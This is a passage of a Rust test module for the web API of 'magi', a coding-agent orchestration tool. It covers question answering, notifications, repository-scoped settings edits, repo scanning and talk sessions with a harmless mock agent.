9736    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
9737        let fx = Fixture::start().await;
9738        let store = fx.questions();
9739
9740        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9741        let res = fx
9742            .post(
9743                &format!("/api/questions/{empty_id}/say"),
9744                Some(r#"{"body":"   "}"#),
9745            )
9746            .await;
9747        assert_eq!(res.status, 400, "{}", res.body);
9748
9749        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9750        let mut answered = store.get(&answered_id).expect("get");
9751        answered
9752            .answer(Answer::Choice("SQLite".to_owned()))
9753            .expect("answer");
9754        store.put(&mut answered).expect("put");
9755        let res = fx
9756            .post(
9757                &format!("/api/questions/{answered_id}/say"),
9758                Some(r#"{"body":"still there?"}"#),
9759            )
9760            .await;
9761        assert_eq!(res.status, 409, "{}", res.body);
9762
9763        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9764        let mut abandoned = store.get(&abandoned_id).expect("get");
9765        abandoned.abandon("timed out");
9766        store.put(&mut abandoned).expect("put");
9767        let res = fx
9768            .post(
9769                &format!("/api/questions/{abandoned_id}/say"),
9770                Some(r#"{"body":"still there?"}"#),
9771            )
9772            .await;
9773        assert_eq!(res.status, 409, "{}", res.body);
9774    }
9775
9776    #[tokio::test]
9777    async fn an_answer_the_question_does_not_offer_is_refused() {
9778        let fx = Fixture::start().await;
9779        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9780        let path = format!("/api/questions/{id}/answer");
9781
9782        for body in [
9783            r#"{"choice":"Postgres"}"#,
9784            r#"{"text":"whatever you think"}"#,
9785            r#"{"choice":"Redis","text":"both"}"#,
9786            r#"{}"#,
9787        ] {
9788            let res = fx.post(&path, Some(body)).await;
9789            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
9790            assert!(res.json()["error"].is_string(), "{}", res.body);
9791        }
9792        // Nothing above may have answered it.
9793        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9794    }
9795
9796    #[tokio::test]
9797    async fn a_free_text_question_takes_text_and_not_a_choice() {
9798        let fx = Fixture::start().await;
9799        let id = ask(&fx, "What should the flag be called?", &[]);
9800        let path = format!("/api/questions/{id}/answer");
9801
9802        assert_eq!(
9803            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
9804            400
9805        );
9806        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
9807        assert_eq!(res.status, 200, "{}", res.body);
9808        assert_eq!(res.json()["answer"]["text"], "--json");
9809    }
9810
9811    #[tokio::test]
9812    async fn an_unknown_question_is_a_json_404() {
9813        let fx = Fixture::start().await;
9814        let res = fx
9815            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
9816            .await;
9817        assert_eq!(res.status, 404, "{}", res.body);
9818        assert!(res.json()["error"].is_string());
9819    }
9820
9821    #[tokio::test]
9822    async fn notifications_list_read_dismiss_and_health_agree() {
9823        let fx = Fixture::start().await;
9824        let store = Notices::at(fx.home.path().join("notifications"));
9825        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
9826        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
9827
9828        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
9829        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
9830
9831        let health = fx.get("/api/health").await.json();
9832        assert_eq!(health["notifications_unread"], 2);
9833        assert_ne!(
9834            health["notifications_rev"], rev0,
9835            "the badge must move live"
9836        );
9837
9838        let listed = fx.get("/api/notifications").await.json();
9839        assert_eq!(listed["unread"], 2);
9840        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
9841        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
9842
9843        let read = fx
9844            .post(&format!("/api/notifications/{}/read", a.id), None)
9845            .await;
9846        assert_eq!(read.status, 200, "{}", read.body);
9847        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
9848
9849        let gone = fx
9850            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
9851            .await;
9852        assert_eq!(gone.status, 200, "{}", gone.body);
9853        let listed = fx.get("/api/notifications").await.json();
9854        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
9855        assert_eq!(listed["unread"], 0);
9856
9857        store.raise(Notice::info("x", "again")).unwrap();
9858        let all = fx.post("/api/notifications/read-all", None).await;
9859        assert_eq!(all.status, 200, "{}", all.body);
9860        assert_eq!(all.json()["marked"], 1);
9861        assert_eq!(
9862            fx.get("/api/health").await.json()["notifications_unread"],
9863            0
9864        );
9865
9866        let missing = fx.post("/api/notifications/nope/read", None).await;
9867        assert_eq!(missing.status, 404, "{}", missing.body);
9868        assert!(missing.json()["error"].is_string());
9869    }
9870
9871    /// New work reaches the queue through `magi task add`, a standing talk's
9872    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
9873    /// so the compose form and that route are gone. The tests that covered
9874    /// that route's validation went with it, and nothing was left asserting
9875    /// it stays gone — so a re-added handler would silently let the phone
9876    /// file briefs no one validated.
9877    #[tokio::test]
9878    async fn a_task_cannot_be_filed_over_the_phone_directly() {
9879        let f = Fixture::start().await;
9880
9881        let res = f
9882            .post(
9883                "/api/queue",
9884                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
9885            )
9886            .await;
9887
9888        assert_eq!(
9889            res.status, 405,
9890            "POST /api/queue must not be a route: {}",
9891            res.body
9892        );
9893        assert!(
9894            f.queue().list().is_empty(),
9895            "a task filed by a route that does not exist must not reach the disk"
9896        );
9897        // The path itself is still served — the Queue view reads it — and the
9898        // per-task controls are untouched by the entry being removed.
9899        assert_eq!(f.get("/api/queue").await.status, 200);
9900    }
9901
9902    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
9903    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
9904        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
9905            .expect("checkout dir");
9906    }
9907
9908    /// Two command agents, so a config needs no real CLI.
9909    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
9910
9911    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
9912        let tmp = TempDir::new().expect("tempdir");
9913        let repo = tmp.path().join("repo");
9914        std::fs::create_dir_all(&repo).expect("repo dir");
9915        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
9916        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
9917        if let Some(text) = machine_toml {
9918            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
9919            std::fs::write(&machine, text).expect("machine toml");
9920        }
9921        (tmp, repo, machine)
9922    }
9923
9924    async fn settings_checkout(path: &FsPath, text: &str) {
9925        std::fs::create_dir_all(path).unwrap();
9926        std::fs::write(path.join("magi.toml"), text).unwrap();
9927        for args in [
9928            vec!["init", "-b", "main"],
9929            vec!["add", "magi.toml"],
9930            vec![
9931                "-c",
9932                "user.name=Test",
9933                "-c",
9934                "user.email=test@example.invalid",
9935                "commit",
9936                "-m",
9937                "fixture",
9938            ],
9939            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
9940            vec![
9941                "symbolic-ref",
9942                "refs/remotes/origin/HEAD",
9943                "refs/remotes/origin/main",
9944            ],
9945        ] {
9946            crate::git::git(path, &args).await.unwrap();
9947        }
9948    }
9949
9950    #[tokio::test]
9951    async fn settings_context_handlers_validate_and_save_without_a_socket() {
9952        let (tmp, repo, machine) =
9953            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
9954        let root = tmp.path().join("roots");
9955        let selected = root.join("host/owner/selected");
9956        settings_checkout(
9957            &selected,
9958            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
9959        )
9960        .await;
9961        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
9962        let before = std::fs::read(&machine).unwrap();
9963        let ui = Arc::new(
9964            Ui::new(
9965                Queue::at(tmp.path().join("queue")),
9966                Questions::at(tmp.path().join("questions")),
9967                Talks::at(tmp.path().join("talks")),
9968                tmp.path().join("runs"),
9969                tmp.path().to_path_buf(),
9970                repo.clone(),
9971            )
9972            .with_machine_config(Some(machine.clone())),
9973        );
9974        let query = || {
9975            Query(SettingsQuery {
9976                repo: Some(selected.clone()),
9977            })
9978        };
9979        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
9980        assert!(v.error.is_none(), "{:?}", v.error);
9981        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
9982        assert_eq!(conductor.source, "repo");
9983        assert_eq!(
9984            conductor.machine_value,
9985            Some(toml::Value::String("a".into()))
9986        );
9987        assert!(!conductor.editable);
9988        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
9989        assert_eq!(
9990            judges.count.as_ref().unwrap().machine_value,
9991            Some(toml::Value::Integer(1))
9992        );
9993        assert!(
9994            !v.roles
9995                .iter()
9996                .find(|r| r.key == "reviewers")
9997                .unwrap()
9998                .editable
9999        );
10000        let unknown = || {
10001            Query(SettingsQuery {
10002                repo: Some(tmp.path().to_path_buf()),
10003            })
10004        };
10005        assert_eq!(
10006            settings_get(State(ui.clone()), unknown())
10007                .await
10008                .unwrap_err()
10009                .status,
10010            StatusCode::UNPROCESSABLE_ENTITY
10011        );
10012        let body = || {
10013            Ok(Json(RolesBody {
10014                revision: v.revision.clone(),
10015                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
10016                counts: Default::default(),
10017            }))
10018        };
10019        assert_eq!(
10020            settings_put_roles(State(ui.clone()), unknown(), body())
10021                .await
10022                .unwrap_err()
10023                .status,
10024            StatusCode::UNPROCESSABLE_ENTITY
10025        );
10026        assert_eq!(std::fs::read(&machine).unwrap(), before);
10027        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
10028            .await
10029            .unwrap();
10030        assert_eq!(
10031            saved.repo,
10032            selected.canonicalize().unwrap().display().to_string()
10033        );
10034        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
10035        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
10036        // A cache miss refreshes the stable candidate list exactly for validation.
10037        let fresh = root.join("host/owner/fresh");
10038        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
10039        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
10040            .await
10041            .unwrap();
10042        assert_eq!(fresh_view.repositories.len(), 3);
10043    }
10044
10045    #[tokio::test]
10046    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
10047        let (tmp, repo, machine) = settings_dirs(
10048            "[roles]\nreviewers = [\"a\"]\n",
10049            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
10050        );
10051        let root = tmp.path().join("roots");
10052        let selected = root.join("host/owner/selected");
10053        settings_checkout(
10054            &selected,
10055            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
10056        )
10057        .await;
10058        let broken = root.join("host/owner/broken");
10059        settings_checkout(&broken, "[roles\nbroken").await;
10060        let machine_text = format!(
10061            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
10062            toml::Value::String(root.display().to_string())
10063        );
10064        std::fs::write(&machine, &machine_text).unwrap();
10065        let originals: Vec<_> = [&repo, &selected, &broken]
10066            .iter()
10067            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
10068            .collect();
10069        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
10070        let default = f.get("/api/settings").await.json();
10071        assert_eq!(
10072            default["repo"],
10073            repo.canonicalize().unwrap().display().to_string()
10074        );
10075        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
10076        let query = format!("?repo={}", selected.display());
10077        let res = f.get(&format!("/api/settings{query}")).await;
10078        assert_eq!(res.status, 200, "{}", res.body);
10079        let v = res.json();
10080        assert!(v["error"].is_null(), "{v}");
10081        assert_eq!(v["repositories"], default["repositories"]);
10082        let role = |key: &str| {
10083            v["roles"]
10084                .as_array()
10085                .unwrap()
10086                .iter()
10087                .find(|r| r["key"] == key)
10088                .unwrap()
10089        };
10090        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
10091        assert_eq!(role("advisors")["source"], "repo");
10092        assert_eq!(role("advisors")["editable"], false);
10093        assert!(role("advisors")["machine_value"].is_null());
10094        assert_eq!(role("judges")["count"]["value"], 2);
10095        assert_eq!(role("judges")["count"]["machine_value"], 1);
10096        assert_eq!(role("judges")["count"]["source"], "repo");
10097        let source = role("judges")["count"]["source_path"].as_str().unwrap();
10098        assert!(
10099            source.contains("origin/main") && !source.contains("magi/config/"),
10100            "{source}"
10101        );
10102        assert_eq!(
10103            role("reviewers")["editable"],
10104            false,
10105            "default context outside roots must protect its declarations"
10106        );
10107        let body =
10108            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
10109        let unknown = format!("?repo={}", tmp.path().display());
10110        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
10111        assert_eq!(
10112            f.put(&format!("/api/settings/roles{unknown}"), &body)
10113                .await
10114                .status,
10115            422
10116        );
10117        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
10118        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
10119            .to_string();
10120        assert_eq!(
10121            f.put(&format!("/api/settings/roles{query}"), &refuse)
10122                .await
10123                .status,
10124            422
10125        );
10126        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
10127        assert_eq!(saved.status, 200, "{}", saved.body);
10128        assert_eq!(saved.json()["repo"], v["repo"]);
10129        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
10130        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
10131        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
10132            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
10133        }
10134        let error = f
10135            .get(&format!("/api/settings?repo={}", broken.display()))
10136            .await;
10137        assert_eq!(error.status, 200);
10138        assert!(error.json()["error"]["message"].is_string());
10139        assert_eq!(error.json()["repositories"], default["repositories"]);
10140    }
10141
10142    #[tokio::test]
10143    async fn settings_get_reports_sources_and_the_advisors_fallback() {
10144        let (_tmp, repo, machine) =
10145            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
10146        let f = Fixture::with_repo_and_machine(repo, machine).await;
10147        let res = f.get("/api/settings").await;
10148        assert_eq!(res.status, 200, "{}", res.body);
10149        let v = res.json();
10150        assert!(v["error"].is_null(), "{v}");
10151        let role = |k: &str| {
10152            v["roles"]
10153                .as_array()
10154                .and_then(|r| r.iter().find(|x| x["key"] == k))
10155                .cloned()
10156                .unwrap_or_else(|| panic!("no role {k}: {v}"))
10157        };
10158        assert_eq!(role("judges")["source"], "machine");
10159        assert_eq!(role("judges")["editable"], true);
10160        assert_eq!(role("implementers")["source"], "default");
10161        let adv = role("advisors");
10162        assert_eq!(adv["fallback"], "judges");
10163        assert!(
10164            adv["seats"]
10165                .as_array()
10166                .is_some_and(|s| s.iter().all(|x| x == "b")),
10167            "{adv}"
10168        );
10169        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
10170        assert_eq!(v["agents"][0]["source"], "repo");
10171    }
10172
10173    #[tokio::test]
10174    async fn settings_get_reports_a_config_that_does_not_parse() {
10175        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
10176        let f = Fixture::with_repo_and_machine(repo, machine).await;
10177        let res = f.get("/api/settings").await;
10178        assert_eq!(res.status, 200, "{}", res.body);
10179        let v = res.json();
10180        assert!(v["error"]["message"].is_string(), "{v}");
10181        assert!(
10182            v["error"]["path"]
10183                .as_str()
10184                .is_some_and(|p| p.ends_with("magi.toml")),
10185            "{v}"
10186        );
10187        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
10188    }
10189
10190    #[tokio::test]
10191    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
10192        let (_tmp, repo, machine) = settings_dirs(
10193            SETTINGS_AGENTS,
10194            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
10195        );
10196        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
10197        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
10198        let rev = f.get("/api/settings").await.json()["revision"]
10199            .as_str()
10200            .expect("revision")
10201            .to_owned();
10202        let body = serde_json::json!({
10203            "revision": rev,
10204            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
10205        })
10206        .to_string();
10207        let res = f.put("/api/settings/roles", &body).await;
10208        assert_eq!(res.status, 200, "{}", res.body);
10209        let text = std::fs::read_to_string(&machine).expect("machine");
10210        assert_eq!(
10211            text,
10212            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
10213        );
10214        assert_eq!(
10215            std::fs::read(repo.join("magi.toml")).expect("read"),
10216            repo_before
10217        );
10218        let again = f.get("/api/settings").await.json();
10219        let judges = again["roles"]
10220            .as_array()
10221            .expect("roles")
10222            .iter()
10223            .find(|r| r["key"] == "judges")
10224            .expect("judges")
10225            .clone();
10226        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
10227        // The old revision is now stale.
10228        let stale = f.put("/api/settings/roles", &body).await;
10229        assert_eq!(stale.status, 409, "{}", stale.body);
10230    }
10231
10232    #[tokio::test]
10233    async fn settings_counts_are_reported_and_saved() {
10234        let (_tmp, repo, machine) = settings_dirs(
10235            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
10236            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
10237        );
10238        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
10239        let v = f.get("/api/settings").await.json();
10240        let count = |v: &serde_json::Value, k: &str| {
10241            v["roles"]
10242                .as_array()
10243                .and_then(|r| r.iter().find(|x| x["key"] == k))
10244                .map(|x| x["count"].clone())
10245                .unwrap_or_else(|| panic!("no role {k}: {v}"))
10246        };
10247        let imp = count(&v, "implementers");
10248        assert_eq!(imp["value"], 2);
10249        assert_eq!(imp["source"], "machine");
10250        assert_eq!(imp["file_key"], "candidates");
10251        assert_eq!(imp["roster_len"], 2);
10252        assert_eq!(imp["backups"], 0);
10253        assert_eq!(count(&v, "judges")["source"], "default");
10254        assert_eq!(count(&v, "advisors")["min"], 0);
10255        assert_eq!(count(&v, "reviewers")["editable"], false);
10256        assert!(
10257            count(&v, "reviewers")["locked_reason"]
10258                .as_str()
10259                .is_some_and(|m| m.contains("graph.reviewers"))
10260        );
10261        assert!(count(&v, "fixer").is_null());
10262        let rev = v["revision"].as_str().expect("revision").to_owned();
10263        let body = serde_json::json!({
10264            "revision": rev,
10265            "roles": { "judges": ["b"] },
10266            "counts": { "implementers": 1, "advisors": 0 }
10267        })
10268        .to_string();
10269        let res = f.put("/api/settings/roles", &body).await;
10270        assert_eq!(res.status, 200, "{}", res.body);
10271        let text = std::fs::read_to_string(&machine).expect("machine");
10272        assert_eq!(
10273            text,
10274            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
10275        );
10276        let after = f.get("/api/settings").await.json();
10277        assert_eq!(count(&after, "implementers")["value"], 1);
10278        assert_eq!(count(&after, "implementers")["backups"], 1);
10279        assert_eq!(count(&after, "advisors")["value"], 0);
10280        let before = std::fs::read_to_string(&machine).expect("machine");
10281        let rev = after["revision"].as_str().expect("revision").to_owned();
10282        for counts in [
10283            serde_json::json!({ "judges": 0 }),
10284            serde_json::json!({ "judges": "x" }),
10285            serde_json::json!({ "judges": 2.5 }),
10286            serde_json::json!({ "judges": -1 }),
10287            serde_json::json!({ "reviewers": 3 }),
10288            serde_json::json!({ "bogus": 3 }),
10289        ] {
10290            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
10291            let res = f.put("/api/settings/roles", &body).await;
10292            assert_eq!(res.status, 422, "{counts}: {}", res.body);
10293            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
10294        }
10295    }
10296
10297    #[tokio::test]
10298    async fn settings_put_refuses_without_touching_the_file() {
10299        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
10300        let (_tmp, repo, machine) = settings_dirs(
10301            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
10302            Some(machine_text),
10303        );
10304        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
10305        let rev = f.get("/api/settings").await.json()["revision"]
10306            .as_str()
10307            .expect("revision")
10308            .to_owned();
10309        for roles in [
10310            serde_json::json!({ "judges": ["nope"] }),
10311            serde_json::json!({ "reviewers": ["b"] }),
10312            serde_json::json!({ "bogus": ["a"] }),
10313        ] {
10314            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
10315            let res = f.put("/api/settings/roles", &body).await;
10316            assert_eq!(res.status, 422, "{roles}: {}", res.body);
10317            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
10318            assert_eq!(
10319                std::fs::read_to_string(&machine).expect("machine"),
10320                machine_text
10321            );
10322        }
10323    }
10324
10325    #[tokio::test]
10326    async fn repos_list_returns_name_and_path_for_every_configured_root() {
10327        let tmp = TempDir::new().expect("tempdir");
10328        let repo = tmp.path().join("repo");
10329        std::fs::create_dir_all(&repo).expect("repo dir");
10330        let root = tmp.path().join("root");
10331        make_checkout(&root, "github.com", "yukimemi", "magi");
10332        std::fs::write(
10333            repo.join("magi.toml"),
10334            format!(
10335                "[repos]\nroots = [{:?}]\n",
10336                root.to_string_lossy().into_owned()
10337            ),
10338        )
10339        .expect("write magi.toml");
10340
10341        let f = Fixture::with_repo(repo).await;
10342        let res = f.get("/api/repos").await;
10343        assert_eq!(res.status, 200, "{}", res.body);
10344        let list = res.json();
10345        let repos = list.as_array().expect("an array");
10346        assert_eq!(repos.len(), 1);
10347        assert_eq!(repos[0]["name"], "yukimemi/magi");
10348        assert!(
10349            repos[0]["path"]
10350                .as_str()
10351                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
10352            "{list}"
10353        );
10354    }
10355
10356    #[tokio::test]
10357    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
10358        let tmp = TempDir::new().expect("tempdir");
10359        let repo = tmp.path().join("repo");
10360        std::fs::create_dir_all(&repo).expect("repo dir");
10361        let root = tmp.path().join("root");
10362        make_checkout(&root, "github.com", "yukimemi", "magi");
10363        std::fs::write(
10364            repo.join("magi.toml"),
10365            format!(
10366                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
10367                root.to_string_lossy().into_owned()
10368            ),
10369        )
10370        .expect("write magi.toml");
10371
10372        let f = Fixture::with_repo(repo).await;
10373        let first = f.get("/api/repos").await;
10374        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
10375
10376        // A second checkout appears; within the TTL the cached answer must
10377        // not notice it.
10378        make_checkout(&root, "github.com", "yukimemi", "rvpm");
10379        let second = f.get("/api/repos").await;
10380        assert_eq!(
10381            second.json().as_array().map(Vec::len),
10382            Some(1),
10383            "a fresh cache must not rescan inside the TTL"
10384        );
10385
10386        let refreshed = f.get("/api/repos?refresh=1").await;
10387        assert_eq!(
10388            refreshed.json().as_array().map(Vec::len),
10389            Some(2),
10390            "an explicit refresh must rescan even inside the TTL"
10391        );
10392    }
10393
10394    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
10395    /// string, declared straight in a repository's own `magi.toml` rather
10396    /// than the operator's real roster. No real agent CLI is spawned - `sh`
10397    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
10398    /// this is safe to run over a real HTTP round trip.
10399    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
10400
10401    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
10402    /// real `Config::discover` to find an agent - `talk::begin` resolves one
10403    /// even though it takes no turn, and `talk_say` invokes one.
10404    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
10405        let tmp = TempDir::new().expect("tempdir");
10406        let repo = tmp.path().join("repo");
10407        std::fs::create_dir_all(&repo).expect("repo dir");
10408        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10409        let f = Fixture::with_repo(repo.clone()).await;
10410        (tmp, repo, f)
10411    }
10412
10413    #[tokio::test]
10414    async fn posting_a_talk_with_remembered_choices_is_soft() {
10415        let (_tmp, _repo, f) = talk_fixture().await;
10416
10417        let good = f
10418            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
10419            .await;
10420        assert_eq!(good.status, 201, "{}", good.body);
10421        assert_eq!(good.json()["persona"], "rei");
10422
10423        // Wrong values and wrong types are dropped one by one, never a 4xx.
10424        let stale = f
10425            .post(
10426                "/api/talks",
10427                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
10428            )
10429            .await;
10430        assert_eq!(stale.status, 201, "{}", stale.body);
10431        let v = stale.json();
10432        assert_eq!(v["implementers"], 1);
10433        assert_ne!(v["persona"], "nobody");
10434        let typed = f
10435            .post(
10436                "/api/talks",
10437                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
10438            )
10439            .await;
10440        assert_eq!(typed.status, 201, "{}", typed.body);
10441
10442        // The strict `agent` field still refuses an unknown id.
10443        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
10444        assert!(
10445            !strict.status.to_string().starts_with('2'),
10446            "{}",
10447            strict.body
10448        );
10449    }
10450
10451    #[tokio::test]
10452    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
10453        let (_tmp, _repo, f) = talk_fixture().await;
10454
10455        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
10456        // is the ordinary way a phone opens a talk.
10457        let opened = f.post("/api/talks", None).await;
10458        assert_eq!(opened.status, 201, "{}", opened.body);
10459        let body = opened.json();
10460        assert_eq!(body["status"], "open");
10461        assert_eq!(
10462            body["turns"].as_array().unwrap().len(),
10463            0,
10464            "opening takes no agent turn: there is nothing yet to answer"
10465        );
10466
10467        // An explicit empty object is the same request as none at all.
10468        let also_opened = f.post("/api/talks", Some("{}")).await;
10469        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
10470
10471        let listed = f.get("/api/talks").await.json();
10472        assert_eq!(listed.as_array().unwrap().len(), 2);
10473    }
10474
10475    #[tokio::test]
10476    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
10477        let tmp = TempDir::new().expect("tempdir");
10478        let repo = tmp.path().join("repo");
10479        std::fs::create_dir_all(&repo).expect("repo dir");
10480        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
10481        std::fs::write(
10482            repo.join("magi.toml"),
10483            format!("{MOCK_AGENT_TOML}\n{second}"),
10484        )
10485        .expect("write magi.toml");
10486        let home = TempDir::new().expect("temp home");
10487        let talks = Talks::at(home.path().join("talks"));
10488        let ui = Arc::new(
10489            Ui::new(
10490                Queue::at(home.path().join("queue")),
10491                Questions::at(home.path().join("questions")),
10492                talks.clone(),
10493                home.path().join("runs"),
10494                home.path().to_path_buf(),
10495                repo.clone(),
10496            )
10497            .with_worktrees_root(home.path().join("wt")),
10498        );
10499        let cfg = config_for(&repo).await.expect("discover config");
10500        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10501        let id = talk.id.clone();
10502        let call = |agent: &str| {
10503            talk_agent(
10504                State(Arc::clone(&ui)),
10505                Path(id.clone()),
10506                Json(TalkAgent {
10507                    agent: agent.to_owned(),
10508                }),
10509            )
10510        };
10511
10512        let unknown = call("nobody").await.expect_err("unknown agent");
10513        assert_eq!(
10514            unknown.status,
10515            StatusCode::BAD_REQUEST,
10516            "{}",
10517            unknown.message
10518        );
10519
10520        {
10521            // Nothing refused so far took a claim, so the guard is free to take
10522            // and holding it is what makes the talk busy.
10523            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10524            let busy = call("second").await.expect_err("busy talk");
10525            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10526            assert!(
10527                busy.message.contains("a talk turn is running"),
10528                "{}",
10529                busy.message
10530            );
10531            drop(guard);
10532        }
10533        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
10534
10535        let Json(view) = call("second").await.expect("switch");
10536        assert_eq!(view.talk.agent, "second");
10537        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
10538        let saved = talks.get(&id).expect("reload");
10539        assert_eq!(saved.agent, "second");
10540        assert_eq!(saved.turns.len(), 1);
10541        assert!(!view.thinking);
10542        assert!(!ui.is_thinking(&id), "idle response must release the claim");
10543        for agent in ["mock", "second"] {
10544            let Json(view) = call(agent).await.expect("immediate consecutive change");
10545            assert_eq!(view.talk.agent, agent);
10546            assert!(!view.thinking);
10547            assert!(!ui.is_thinking(&id));
10548        }
10549
10550        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10551            .await
10552            .expect("detail");
10553        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
10554        assert_eq!(roster, ["mock", "second"]);
10555
10556        let mut closed = talks.get(&id).expect("reload");
10557        talk::close(&mut closed, &talks).expect("close");
